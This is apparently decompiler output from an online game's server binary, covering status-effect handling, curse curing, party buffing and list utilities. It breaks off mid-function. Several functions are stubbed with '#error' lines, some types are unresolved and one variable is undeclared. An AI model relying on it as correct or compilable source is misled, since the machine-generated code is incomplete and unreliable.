-------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_CureCurse(void *this, int state, signed int grade) { void *v3; // esi@1 int v4; // edx@1 unsigned __int16 v5; // bx@1 unsigned __int16 v6; // bp@3 int v7; // edx@4 int v8; // ecx@4 unsigned __int16 v9; // ax@4 bool v10; // cf@4 int v11; // edi@6 int v12; // esi@11 int v13; // ecx@15 int i; // [sp+10h] [bp-14h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_CureCurse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_CureCurse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1304))(v3); v5 = *(_WORD *)(*(_DWORD *)(v4 + 3488) + 12 * *(_WORD *)(v4 + 3494) + 4); for ( i = v4; ; v4 = i ) { v6 = *(_WORD *)(v4 + 3484); if ( v5 >= v6 ) break; v7 = *(_DWORD *)(v4 + 3488); v8 = v5; v9 = v5; v10 = v5 < v6; v5 = *(_WORD *)(v7 + 12 * v5 + 4); if ( v10 && *(_BYTE *)(v7 + 12 * v8 + 8) ) v11 = *(_DWORD *)(v7 + 12 * v8); else v11 = 0; if ( *(_DWORD *)(*(_DWORD *)(*((_DWORD *)&unk_604F0C + 3 * *(_DWORD *)(v11 + 4)) + 36 * *(_BYTE *)(v11 + 16) + 8) + 38) == state ) { if ( v9 < v6 && *(_BYTE *)(v7 + 12 * v8 + 8) ) v12 = *(_DWORD *)(v7 + 12 * v8); else v12 = 0; if ( *(_BYTE *)(**((_DWORD **)&unk_604F0C + 3 * *(_DWORD *)(v12 + 4)) + 43) <= grade ) { if ( v9 < v6 && (v13 = v7 + 12 * v8, *(_BYTE *)(v13 + 8)) ) *(_DWORD *)(*(_DWORD *)v13 + 24) = clockwatch.cw_CurrTick; else v18 = clockwatch.cw_CurrTick; } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_CureCurse"); } //----- (00407B30) -------------------------------------------------------- #error "407B30: undefined or illegal type '#331' (funcsize=363)" //----- (00407FE0) -------------------------------------------------------- #error "407FE0: undefined or illegal type '#331' (funcsize=134)" //----- (004081E0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsHereGood(void *this) { void *v1; // ebp@1 unsigned __int16 v2; // di@1 unsigned __int16 v3; // si@2 int v4; // ecx@3 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 int v9; // eax@8 int v10; // eax@10 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereGood"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateList::asl_IsHereGood"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_WORD *)(*((_DWORD *)v1 + 872) + 12 * *((_WORD *)v1 + 1747) + 4); while ( 1 ) { v3 = *((_WORD *)v1 + 1742); if ( v2 >= v3 ) break; v4 = *((_DWORD *)v1 + 872); v5 = v2; v6 = v2 < v3; v2 = *(_WORD *)(v4 + 12 * v2 + 4); if ( v6 ) { v7 = v4 + 12 * v5; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) { if ( *((_DWORD *)&unk_604F0C + 3 * *(_DWORD *)(v8 + 4)) && **((_DWORD **)&unk_604F0C + 3 * *(_DWORD *)(v8 + 4)) ) { v9 = *(_DWORD *)(**((_DWORD **)&unk_604F0C + 3 * *(_DWORD *)(v8 + 4)) + 34); if ( v9 < 391 ) { v10 = dword_608008[v9]; if ( v10 && *(_DWORD *)(*(_DWORD *)v10 + 244) == 1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereGood"); return 1; } } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v9); } } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereGood"); return 0; } //----- (00408370) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsHereBad(void *this) { void *v1; // ebp@1 unsigned __int16 v2; // di@1 unsigned __int16 v3; // si@2 int v4; // ecx@3 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 int v9; // eax@8 int v10; // eax@10 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereBad"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateList::asl_IsHereBad"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_WORD *)(*((_DWORD *)v1 + 872) + 12 * *((_WORD *)v1 + 1747) + 4); while ( 1 ) { v3 = *((_WORD *)v1 + 1742); if ( v2 >= v3 ) break; v4 = *((_DWORD *)v1 + 872); v5 = v2; v6 = v2 < v3; v2 = *(_WORD *)(v4 + 12 * v2 + 4); if ( v6 ) { v7 = v4 + 12 * v5; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) { if ( *((_DWORD *)&unk_604F0C + 3 * *(_DWORD *)(v8 + 4)) && **((_DWORD **)&unk_604F0C + 3 * *(_DWORD *)(v8 + 4)) ) { v9 = *(_DWORD *)(**((_DWORD **)&unk_604F0C + 3 * *(_DWORD *)(v8 + 4)) + 34); if ( v9 < 391 ) { v10 = dword_608008[v9]; if ( v10 && *(_DWORD *)(*(_DWORD *)v10 + 244) != 1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereBad"); return 1; } } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v9); } } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereBad"); return 0; } //----- (00408500) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin(void *this, #440 *me) { void *v2; // edi@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 int v5; // ecx@3 int v6; // eax@3 bool v7; // cf@3 int v8; // edx@4 char v9; // al@4 int v10; // ecx@4 AbnormalStateContainer::AbstateElementInObject *v11; // ecx@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(*((_DWORD *)v2 + 872) + 12 * *((_WORD *)v2 + 1747) + 4); while ( 1 ) { v4 = *((_WORD *)v2 + 1742); if ( v3 >= v4 ) break; v5 = *((_DWORD *)v2 + 872); v6 = v3; v7 = v3 < v4; v3 = *(_WORD *)(v5 + 12 * v3 + 4); if ( !v7 ) break; v8 = 3 * v6; v9 = *(_BYTE *)(v5 + 12 * v6 + 8); v10 = v5 + 4 * v8; if ( !v9 ) break; v11 = *(AbnormalStateContainer::AbstateElementInObject **)v10; if ( !v11 ) break; AbnormalStateContainer::AbstateElementInObject::aeo_InformAfterLogin(v11, me); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin"); } //----- (004085F0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateListInObject::asl_Store(#748 *this, PROTO_NC_CHAR_ABSTATE_CMD *a2) { PROTO_NC_CHAR_ABSTATE_CMD *v2; // ebp@1 unsigned int v3; // edx@1 unsigned int v4; // ebx@1 int v5; // eax@1 bool v6; // zf@1 int v7; // edi@2 unsigned int v8; // edx@4 int v9; // esi@7 int v10; // esi@8 signed int v11; // ecx@9 int v12; // eax@11 unsigned int v13; // ecx@11 char *v14; // ecx@11 unsigned __int16 v15; // ax@15 int v16; // eax@16 char v17; // bl@18 unsigned int v18; // ecx@23 int v19; // eax@25 unsigned int v20; // ecx@25 char *v21; // ecx@25 AbnormalStateContainer::AbstateElementInObject *v22; // eax@25 signed int v23; // ecx@29 int v24; // esi@29 char v25; // bl@29 int v26; // eax@29 int v27; // [sp+Ch] [bp-3Ch]@23 signed int i; // [sp+24h] [bp-24h]@1 void *v29; // [sp+28h] [bp-20h]@1 ListIteratorDefault arg; // [sp+34h] [bp-14h]@1 int v31; // [sp+38h] [bp-10h]@1 int v32; // [sp+44h] [bp-4h]@1 unsigned int v33; // [sp+4Ch] [bp+4h]@5 int starttime; // [sp+50h] [bp+8h]@0 v29 = (void *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateListInObject::asl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = a2; v3 = a2->chrregnum; v4 = 0; v32 = 0; memcpy( (void *)(*(int (__thiscall **)(PROTO_NC_CHAR_ABSTATE_CMD *))(v3 + 1164))(a2), &ShineObjectClass::ShineObject::so_emptyabstate, 0x31u); v5 = (*(int (__thiscall **)(PROTO_NC_CHAR_ABSTATE_CMD *))(v2->chrregnum + 1304))(v2); arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v31 = v5 + 3480; LOBYTE(v32) = 1; List::l_4AllInList((List *)(v5 + 3480), &arg); v6 = *(_WORD *)(starttime + 4) == 0; LOBYTE(v32) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; i = 0; if ( !v6 ) { v7 = starttime + 6; while ( 1 ) { v8 = (unsigned int)((unsigned int)(10 * *(_DWORD *)(v7 + 3)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; v33 = clockwatch.cw_CurrTick >= v8 ? clockwatch.cw_CurrTick - v8 : v4; v9 = *(_WORD *)v7; if ( unk_608004 < (unsigned int)v9 ) break; v10 = unk_607FFC + 728 * v9; if ( !v10 || *(_DWORD *)v10 == v4 ) goto LABEL_9; v11 = 1; LABEL_10: if ( v11 == v4 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateContainer::AbnormalStateList::asl_Store : No dic", *(_WORD *)v7); v12 = (*(int (__thiscall **)(PROTO_NC_CHAR_ABSTATE_CMD *))(v2->chrregnum + 1352))(v2); v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)v12; *((_DWORD *)v14 + 1) = *(_DWORD *)(v12 + 4); *((_DWORD *)v14 + 2) = *(_DWORD *)(v12 + 8); *((_DWORD *)v14 + 3) = *(_DWORD *)(v12 + 12); v14[16] = 0; } else { v15 = *(_WORD *)(*(_DWORD *)v10 + 34); if ( v15 < unk_607E88 ) v16 = *(_DWORD *)(unk_607E8C + 12 * v15); else v16 = 0; v17 = 0; if ( v16 ) { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(**(_DWORD **)v16 + 12))(*(_DWORD *)v16) ) v17 = 1; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateContainer::AbnormalStateList::asl_Store : invalid abstate", *(_DWORD *)(*(_DWORD *)v10 + 34)); } if ( *(_DWORD *)(v7 + 7) ) { v18 = clockwatch.cw_CurrTick; v27 = *(_DWORD *)(v7 + 7); } else { v18 = v33; v27 = 0; } (*(void (__thiscall **)(PROTO_NC_CHAR_ABSTATE_CMD *, int, _DWORD, _DWORD, int, unsigned int, _DWORD, _DWORD, int, _DWORD))(v2->chrregnum + 1528))( v2, v17 != 0 ? (int)v2 : 0, *(_DWORD *)(*(_DWORD *)v10 + 34), *(_BYTE *)(v7 + 2), v10, v18, 0, *(_WORD *)(v7 + 11), v27, 0); v19 = (*(int (__thiscall **)(PROTO_NC_CHAR_ABSTATE_CMD *))(v2->chrregnum + 1352))(v2); v20 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v20; v21 = (char *)&namestring + 256 * v20; *(_DWORD *)v21 = *(_DWORD *)v19; *((_DWORD *)v21 + 1) = *(_DWORD *)(v19 + 4); *((_DWORD *)v21 + 2) = *(_DWORD *)(v19 + 8); *((_DWORD *)v21 + 3) = *(_DWORD *)(v19 + 12); v21[16] = 0; v22 = AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet( v29, *(AbnormalStateInfo::ABSTATEINDEX *)(*(_DWORD *)v10 + 34)); if ( v22 ) SetItemData::SetItemAbstateEffect::siae_SetItemEffectRestore(&v22->aeo_SetItemEffect, (ABSTATEREADBLOCK *)v7); else AssertClass::ac_AssertFail( &shineassert, "AbnormalStateContainer::AbstateListInObject::asl_Store : Null abstate", *(_WORD *)v7); if ( !v17 ) { v23 = *(_DWORD *)(*(_DWORD *)v10 + 34); v24 = *(_DWORD *)(*(_DWORD *)v10 + 34) / 8; v25 = v23 % 8; v26 = (*(int (__thiscall **)(PROTO_NC_CHAR_ABSTATE_CMD *))(v2->chrregnum + 1164))(v2); *(_BYTE *)(v24 + v26) |= 1 << v25; } } v7 += 31; ++i; if ( i >= *(_WORD *)(starttime + 4) ) goto LABEL_31; v4 = 0; } AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v9); v10 = 0; LABEL_9: v11 = 0; goto LABEL_10; } LABEL_31: --funcallanalizer.fca_stackpoint; v32 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_Store"); } // 4085F0: inconsistent function type and number of purged bytes // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00408920) -------------------------------------------------------- #error "408920: undefined or illegal type '#748' (funcsize=300)" //----- (00408D80) -------------------------------------------------------- #error "408D80: undefined or illegal type '#331' (funcsize=136)" //----- (00408F30) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_AttachObject(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #331 *pTarget) { __int16 v3; // bx@4 void *v4; // eax@4 int v5; // edi@4 if ( pInObject && pTarget && AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_604F0C + 3 * pInObject->aeo_Index) + 36 * pInObject->aeo_Strength + 8), SAA_METASKIN) ) { v3 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_604F0C + 3 * pInObject->aeo_Index) + 36 * pInObject->aeo_Strength + 8), SAA_METASKIN); v4 = (void *)ShineDynamicCast(pTarget); v5 = (int)v4; if ( v4 ) { ShineObjectClass::ShinePlayer::sp_StateChangeToNormal(v4); ShineObjectClass::ShinePlayer::sp_SkinPolymorph(v5, v3, pInObject->aeo_Index); } } } //----- (00408FB0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #331 *pTarget) { AbnormalStateContainer::SubAbnormalStateActor *v3; // ebx@1 void *v4; // eax@4 void *v5; // edi@4 int v6; // eax@8 v3 = this; if ( pInObject && pTarget ) { if ( AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_604F0C + 3 * pInObject->aeo_Index) + 36 * pInObject->aeo_Strength + 8), SAA_RELESEACTION) ) { v4 = (void *)ShineDynamicCast(pTarget); v5 = v4; if ( !v4 ) return; if ( ShineObjectClass::ShineMobileObject::smo_IsActiveMode(v4) ) v3->vfptr->sasa_Routine(v3, pInObject, (#748 *)v5, pInObject->aeo_Index); } if ( AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_604F0C + 3 * pInObject->aeo_Index) + 36 * pInObject->aeo_Strength + 8), SAA_METASKIN) ) { v6 = (int)ShineDynamicCast(pTarget); if ( v6 ) ShineObjectClass::ShinePlayer::sp_SkinPolymorph(v6, -1, pInObject->aeo_Index); } } } //----- (00409070) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateListInObject::asl_CanEnchant(void *this, int abstateidx, int strength) { void *v3; // esi@1 signed int v4; // ebx@1 AbnormalStateContainer::AbstateElementInObject *v5; // eax@1 int v6; // edx@2 FunctionProfiler::PerformanceRecorder *v7; // ecx@2 int v9; // edi@5 int v10; // edi@7 int v11; // edi@7 int v12; // ebp@7 int v13; // eax@8 int v14; // edx@8 unsigned __int16 v15; // si@8 unsigned __int16 v16; // cx@8 int v17; // eax@11 unsigned __int16 v18; // bx@11 bool v19; // cf@11 int v20; // eax@12 bool v21; // zf@12 int v22; // eax@12 int v23; // eax@13 int v24; // eax@15 int v25; // eax@18 int v26; // ecx@19 SubAbstatePriority::StateExchange v27; // eax@21 char *v28; // [sp-4h] [bp-24h]@2 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v30; // [sp+1Ch] [bp-4h]@1 AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *abstateidxa; // [sp+24h] [bp+4h]@7 v3 = this; _.fe_FunctionCode = "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v30 = 0; v5 = AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(v3, (AbnormalStateInfo::ABSTATEINDEX)abstateidx); if ( v5 ) { v6 = v5->aeo_Strength; --funcallanalizer.fca_stackpoint; v28 = "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"; v30 = -1; v7 = &_PerformanceRecorder; if ( v6 > strength ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"); return 0; } } else { if ( abstateidx < 391 ) { v9 = dword_608008[abstateidx]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", abstateidx); v9 = 0; } v10 = v9 + 36 * strength + 8; abstateidxa = (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)v10; v11 = *(_DWORD *)v10; v12 = *(_DWORD *)(v11 + 38); if ( v12 != 38 ) { v13 = *((_WORD *)v3 + 1747); v14 = *((_DWORD *)v3 + 872); v15 = *((_WORD *)v3 + 1742); v16 = *(_WORD *)(v14 + 12 * v13 + 4); while ( v16 < v15 ) { v17 = v16; v18 = v16; v19 = v16 < v15; v16 = *(_WORD *)(v14 + 12 * v16 + 4); if ( !v19 || (v20 = 3 * v17, v21 = *(_BYTE *)(v14 + 4 * v20 + 8) == 0, v22 = v14 + 4 * v20, v21) ) v23 = 0; else v23 = *(_DWORD *)v22; v24 = 12 * *(_DWORD *)(v23 + 4); if ( *(_WORD *)((char *)&unk_604F10 + v24) == v12 && *(_WORD *)((char *)&unk_604F12 + v24) == *(_BYTE *)(v11 + 42) ) { if ( v18 < v15 && (v25 = v14 + 12 * v18, *(_BYTE *)(v25 + 8)) ) v26 = *(_DWORD *)v25; else v26 = 0; v27 = SubAbstatePriority::PriorityBase::bp_AbStateChange( &subabpriority, (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_604F0C + 3 * *(_DWORD *)(v26 + 4)) + 36 * *(_BYTE *)(v26 + 16) + 8), abstateidxa); if ( v27 && v27 != 1 ) { v30 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v4 = -1; break; } v4 = -1; } } --funcallanalizer.fca_stackpoint; v30 = v4; v28 = "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"; v7 = &_PerformanceRecorder; } FunctionProfiler::PerformanceRecorder::pr_Exit(v7, v28); return 1; } //----- (00409290) -------------------------------------------------------- #error "409290: undefined or illegal type '#331' (funcsize=182)" //----- (00409530) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00409580) -------------------------------------------------------- void *__thiscall AbnormalStateContainer::AbstateListInObject::AbstateListInObject(void *ptr) { void *v1; // edi@1 int v2; // esi@1 signed int v3; // ecx@1 signed int v4; // eax@1 int v5; // edi@1 int v6; // edx@3 int v7; // ebp@3 int v8; // edx@3 int v9; // edx@6 int v10; // ebp@6 int v11; // edx@6 int v12; // edx@9 int v13; // ebp@9 int v14; // edx@9 int v15; // edx@12 int v16; // ebp@12 int v17; // edx@12 int v18; // edx@15 int v19; // ebp@15 int v20; // edx@15 int v21; // edx@18 int v22; // ebp@18 int v23; // edx@18 void *v25; // [sp+Ch] [bp-10h]@1 v1 = ptr; v25 = ptr; _eh_vector_constructor_iterator_( ptr, 0x74u, 30, (void (__thiscall *)(void *))AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject, (void (__thiscall *)(void *))AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject); v2 = (int)((char *)v1 + 3480); *((_DWORD *)v1 + 870) = List::_vftable_; *((_DWORD *)v1 + 874) = 0; List::l_MakeList( (List *)v1 + 145, 0x1Eu); v3 = 2; v4 = 36; v5 = (int)((char *)v1 + 232); do { if ( v3 - 2 < *(_WORD *)(v2 + 4) ) { v6 = *(_DWORD *)(v2 + 8); v7 = *(_DWORD *)(v6 + v4 - 36); v8 = v6 + v4 - 36; if ( !v7 ) *(_DWORD *)v8 = v5 - 232; } if ( v3 - 1 < *(_WORD *)(v2 + 4) ) { v9 = *(_DWORD *)(v2 + 8); v10 = *(_DWORD *)(v9 + v4 - 24); v11 = v9 + v4 - 24; if ( !v10 ) *(_DWORD *)v11 = v5 - 116; } if ( v3 < *(_WORD *)(v2 + 4) ) { v12 = *(_DWORD *)(v2 + 8); v13 = *(_DWORD *)(v12 + v4 - 12); v14 = v12 + v4 - 12; if ( !v13 ) *(_DWORD *)v14 = v5; } if ( v3 + 1 < *(_WORD *)(v2 + 4) ) { v15 = *(_DWORD *)(v2 + 8); v16 = *(_DWORD *)(v15 + v4); v17 = v4 + v15; if ( !v16 ) *(_DWORD *)v17 = v5 + 116; } if ( v3 + 2 < *(_WORD *)(v2 + 4) ) { v18 = *(_DWORD *)(v2 + 8); v19 = *(_DWORD *)(v18 + v4 + 12); v20 = v18 + v4 + 12; if ( !v19 ) *(_DWORD *)v20 = v5 + 232; } if ( v3 + 3 < *(_WORD *)(v2 + 4) ) { v21 = *(_DWORD *)(v2 + 8); v22 = *(_DWORD *)(v21 + v4 + 24); v23 = v21 + v4 + 24; if ( !v22 ) *(_DWORD *)v23 = v5 + 348; } v3 += 6; v5 += 696; v4 += 72; } while ( v3 - 2 < 30 ); return v25; } // 596C4C: using guessed type int (__stdcall *List_AbnormalStateContainer__AbstateElementInObject____vftable_[3])(__int16 hnd); //----- (004096D0) -------------------------------------------------------- #error "4096D0: undefined or illegal type '#331' (funcsize=257)" //----- (00409A50) -------------------------------------------------------- #error "409A50: undefined or illegal type '#331' (funcsize=32)" //----- (00409AA0) -------------------------------------------------------- #error "409AA0: undefined or illegal type '#331' (funcsize=32)" //----- (00409AF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_smo_CanEnchant(void *this, int abstateidx, int strength) { void *v3; // esi@1 char v4; // al@1 char v5; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_CanEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smo_CanEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = AbnormalStateContainer::AbstateListInObject::asl_CanEnchant((char *)v3 + 204, abstateidx, strength); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_CanEnchant"); return v5; } //----- (00409BA0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00409CC0) -------------------------------------------------------- void __thiscall AxialListNearScanParty::alnsp_Buffing(AxialListNearScanParty *this, int num, #331 *caster, AbnormalStateInfo::ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime) { AxialListNearScanParty *v7; // esi@1 int v8; // ecx@1 void *v9; // esi@5 int v10; // ST14_4@6 #331 *v11; // eax@6 bool v12; // zf@8 int v13; // [sp+Ch] [bp-14h]@4 int numa; // [sp+24h] [bp+4h]@4 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListNearScanParty::alnsp_Buffing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNearScanParty::alnsp_Buffing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = num; if ( num >= v7->baseclass_0.alns_bp ) v8 = v7->baseclass_0.alns_bp; if ( v8 > 0 ) { numa = (int)v7->baseclass_0.alns_buffer; v13 = v8; do { v9 = *(void **)numa; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(**(_DWORD **)numa + 1136))(*(_DWORD *)numa) != 3 ) { v10 = clockwatch.cw_CurrTick; v11 = (#331 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 1304))(v9); if ( AbnormalStateContainer::AbstateListInObject::asl_AbstateSet( v11, (unsigned __int16)caster, soul, (AbnormalStateDictionary::AbState::AbStateStr *)strength, (#331 *)sklidx, (unsigned int)v9, v10, empowkeeptime, 0, 0) ) { ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v9, soul, -1, strength); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v9 + 992))(v9, soul, -1, 0); } } v12 = v13 == 1; numa += 8; --v13; } while ( !v12 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearScanParty::alnsp_Buffing"); } //----- (00409E00) -------------------------------------------------------- void __thiscall AxialListNearScanCoupleParty::alnsp_Buffing(AxialListNearScanCoupleParty *this, int num, #331 *caster, AbnormalStateInfo::ABSTATEINDEX soul, int strength, 